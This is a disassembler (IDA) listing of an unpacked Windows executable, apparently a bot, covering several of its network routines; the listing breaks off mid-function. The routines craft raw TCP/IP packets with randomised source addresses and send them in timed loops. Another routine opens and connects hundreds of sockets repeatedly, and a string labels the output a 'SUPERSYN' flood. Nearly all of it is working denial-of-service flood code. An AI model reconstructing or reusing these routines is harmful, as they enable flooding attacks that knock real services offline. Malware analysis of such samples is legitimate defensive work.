;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	6CE9501B368971EA10A0C0D7DB30F92E

; File Name   :	u:\work\6ce9501b368971ea10a0c0d7db30f92e_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00020290 ( 131728.)
; Section size in file		: 00020290 ( 131728.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_0		segment	para public 'CODE' use32
		assume cs:_0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; DATA XREF: sub_40D2E0+3A15o

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	ds:dword_422048	; GetTickCount
		push	eax
		call	sub_4154D2
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013EC
		add	esp, 14h
		push	eax
		lea	eax, [ebp+var_494]
		push	offset dword_424040
		push	eax
		call	sub_415480
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401093
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_40BAE7
		add	esp, 14h


loc_401093:				; CODE XREF: sub_401000+71j
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_290]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B5	proc near		; CODE XREF: sub_4013EC+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	ds:dword_4363E0	; WSAStartup
		test	eax, eax
		jz	short loc_4010F5
		xor	eax, eax
		jmp	loc_4013E8
; ---------------------------------------------------------------------------


loc_4010F5:				; CODE XREF: sub_4010B5+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43650C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013E0
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	ds:dword_436448	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D6
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	ds:dword_436468	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	ds:dword_436468	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	ds:dword_436468	; htons
		mov	[ebp+var_12], ax
		call	sub_4154DC
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_436468	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	ds:dword_436464	; htonl
		push	offset dword_4240C0
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C5
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401219
; ---------------------------------------------------------------------------


loc_4011C5:				; CODE XREF: sub_4010B5+105j
		push	(offset	loc_4240B3+1)
		push	[ebp+arg_8]
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011E1
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401219
; ---------------------------------------------------------------------------


loc_4011E1:				; CODE XREF: sub_4010B5+121j
		push	(offset	loc_4240A7+1)
		push	[ebp+arg_8]
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401219
		call	sub_4154DC
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_4154DC
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_401219:				; CODE XREF: sub_4010B5+10Ej
					; sub_4010B5+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	ds:dword_436468	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	ds:dword_422050	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_42204C	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_415930
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_401267:				; CODE XREF: sub_4010B5+2E2j
					; sub_4010B5+2F0j
		mov	[ebp+var_4], bx
		call	sub_4154DC
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ds:dword_436468	; htons
		mov	[ebp+var_14], ax
		call	sub_4154DC
		mov	edi, eax
		shl	edi, 10h
		call	sub_4154DC
		or	edi, eax
		push	edi
		call	ds:dword_436468	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	ds:dword_436464	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	ds:dword_436468	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_415560
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_415560
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40957F
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_415560
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415560
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_415500
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40957F
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_415560
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	ds:dword_4364CC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013AA
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_42204C	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D3
		jl	loc_401267
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D3
		jmp	loc_401267
; ---------------------------------------------------------------------------


loc_4013AA:				; CODE XREF: sub_4010B5+2CBj
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset loc_424078
		push	eax
		call	sub_415480
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40A5B3
		add	esp, 10h
		jmp	short loc_4013D6
; ---------------------------------------------------------------------------


loc_4013D3:				; CODE XREF: sub_4010B5+2E0j
					; sub_4010B5+2EEj
		mov	ebx, [ebp+arg_8]


loc_4013D6:				; CODE XREF: sub_4010B5+78j
					; sub_4010B5+31Cj
		push	[ebp+var_20]
		call	ds:dword_436500	; closesocket
		pop	esi


loc_4013E0:				; CODE XREF: sub_4010B5+5Bj
		call	ds:dword_4363C8	; WSACleanup
		mov	eax, ebx


loc_4013E8:				; CODE XREF: sub_4010B5+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013EC	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409410
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_4159EF
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_4159EF
		mov	edi, eax
		call	sub_4154DC
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B5
		add	esp, 20h
		test	eax, eax
		jnz	short loc_40143B
		push	1
		pop	eax


loc_40143B:				; CODE XREF: sub_4013EC+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40144A	proc near		; DATA XREF: sub_40D2E0+3C03o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	ds:dword_4364E8	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E5
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset loc_424204
		push	eax
		call	sub_415480
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C8
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40BAE7
		add	esp, 14h


loc_4014C8:				; CODE XREF: sub_40144A+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_38]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_422044	; ExitThread


loc_4014E5:				; CODE XREF: sub_40144A+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	ds:dword_436448	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40155C
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_3BC]
		push	(offset	loc_4241BB+1)
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40BAE7
		add	esp, 14h


loc_40153F:				; CODE XREF: sub_40144A+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_38]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_422044	; ExitThread


loc_40155C:				; CODE XREF: sub_40144A+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	ds:dword_4364A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C3
		lea	eax, [ebp+var_3BC]
		push	(offset	loc_42418B+1)
		push	eax
		call	sub_415480
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A6
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40BAE7
		add	esp, 14h


loc_4015A6:				; CODE XREF: sub_40144A+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_38]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_422044	; ExitThread


loc_4015C3:				; CODE XREF: sub_40144A+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	ds:dword_436468	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	ds:dword_4364A8	; inet_addr
		mov	esi, ds:dword_422048
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi	; GetTickCount
		mov	[ebp+var_8], eax


loc_401601:				; CODE XREF: sub_40144A+2E8j
		call	esi	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017AC
		push	41Ch
		mov	ds:byte_4321A8,	45h
		call	ds:dword_436468	; htons
		cmp	[ebp+var_2C], edi
		mov	ds:word_4321AA,	ax
		mov	ds:word_4321AC,	bx
		mov	ds:word_4321AE,	di
		mov	ds:byte_4321B0,	80h
		mov	ds:byte_4321B1,	bl
		mov	ds:word_4321B2,	di
		jz	short loc_401687
		call	sub_4154DC
		mov	ebx, eax
		shl	ebx, 8
		call	sub_4154DC
		add	ebx, eax
		shl	ebx, 8
		call	sub_4154DC
		add	ebx, eax
		shl	ebx, 8
		call	sub_4154DC
		add	ebx, eax
		push	1
		mov	ds:dword_4321B4, ebx
		pop	ebx
		jmp	short loc_40169F
; ---------------------------------------------------------------------------


loc_401687:				; CODE XREF: sub_40144A+20Bj
		push	[ebp+var_1BC]
		call	sub_409526
		pop	ecx
		push	eax
		call	ds:dword_4364A8	; inet_addr
		mov	ds:dword_4321B4, eax


loc_40169F:				; CODE XREF: sub_40144A+23Bj
		mov	eax, [ebp+var_18]
		mov	ds:dword_4321B8, eax
		call	sub_4154DC
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	ds:byte_4321BC,	dl
		call	sub_4154DC
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	ds:byte_4321BD,	dl
		call	sub_4154DC
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	ds:word_4321BE,	di
		mov	ds:word_4321C2,	bx
		inc	edx
		mov	ds:word_4321C0,	dx
		call	sub_4154DC
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_4321C4
		call	sub_415500
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_4321A8
		push	[ebp+var_4]
		call	ds:dword_4364CC	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401737
		inc	[ebp+arg_0]
		jmp	loc_401601
; ---------------------------------------------------------------------------


loc_401737:				; CODE XREF: sub_40144A+2E3j
		push	[ebp+var_4]
		call	ds:dword_436500	; closesocket
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset loc_42412C
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_4159FA
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178F
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40BAE7
		add	esp, 14h


loc_40178F:				; CODE XREF: sub_40144A+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_38]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_422044	; ExitThread


loc_4017AC:				; CODE XREF: sub_40144A+1C8j
		push	[ebp+var_4]
		call	ds:dword_436500	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset dword_4240CC
		push	eax
		call	sub_415480
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401814
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_40BAE7
		add	esp, 14h


loc_401814:				; CODE XREF: sub_40144A+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_38]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_422044	; ExitThread
sub_40144A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401831	proc near		; DATA XREF: sub_40D2E0+159Do

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401992
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset aSupersynDoneWi ; "[SUPERSYN]: Done with	flood (%iKB/sec)"
		push	eax
		call	sub_415480
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4018B1
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40BAE7
		add	esp, 14h


loc_4018B1:				; CODE XREF: sub_401831+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_10]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
sub_401831	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D0	proc near		; CODE XREF: sub_401992+27p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	ds:dword_436468	; htons
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_40198E
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_40191B:				; CODE XREF: sub_4018D0+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401923:				; CODE XREF: sub_4018D0+7Aj
		push	0
		push	1
		push	2
		call	ds:dword_422200	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_401946
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	ds:dword_422204	; ioctlsocket


loc_401946:				; CODE XREF: sub_4018D0+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_401923
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401954:				; CODE XREF: sub_4018D0+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	ds:dword_422208	; connect
		add	esi, 4
		dec	ebx
		jnz	short loc_401954
		push	64h
		call	ds:dword_422054	; Sleep
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_401978:				; CODE XREF: sub_4018D0+B4j
		push	dword ptr [esi]
		call	ds:dword_42220C	; closesocket
		add	esi, 4
		dec	ebx
		jnz	short loc_401978
		dec	[ebp+arg_4]
		jnz	short loc_40191B
		pop	edi
		pop	esi
		pop	ebx


loc_40198E:				; CODE XREF: sub_4018D0+3Ej
		xor	eax, eax
		leave
		retn
sub_4018D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_401992	proc near		; CODE XREF: sub_401831+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_409410
		push	[esp+10h+arg_4]
		mov	edi, eax
		call	sub_4159EF
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_4159EF
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4018D0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4019C8
		push	1
		pop	eax


loc_4019C8:				; CODE XREF: sub_401992+31j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
sub_401992	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019D7	proc near		; DATA XREF: sub_40D2E0+3906o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401D28
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_424270
		push	eax
		call	sub_415480
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_401A57
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_40BAE7
		add	esp, 14h


loc_401A57:				; CODE XREF: sub_4019D7+5Ej
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40A5B3
		push	[ebp+var_10]
		call	sub_415248
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
sub_4019D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401A76	proc near		; CODE XREF: sub_401D28+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	ds:dword_4363E0	; WSAStartup
		test	eax, eax
		jz	short loc_401AB6
		xor	eax, eax
		jmp	loc_401D24
; ---------------------------------------------------------------------------


loc_401AB6:				; CODE XREF: sub_401A76+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_43650C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401D1C
		push	esi
		lea	ecx, [ebp+var_38]
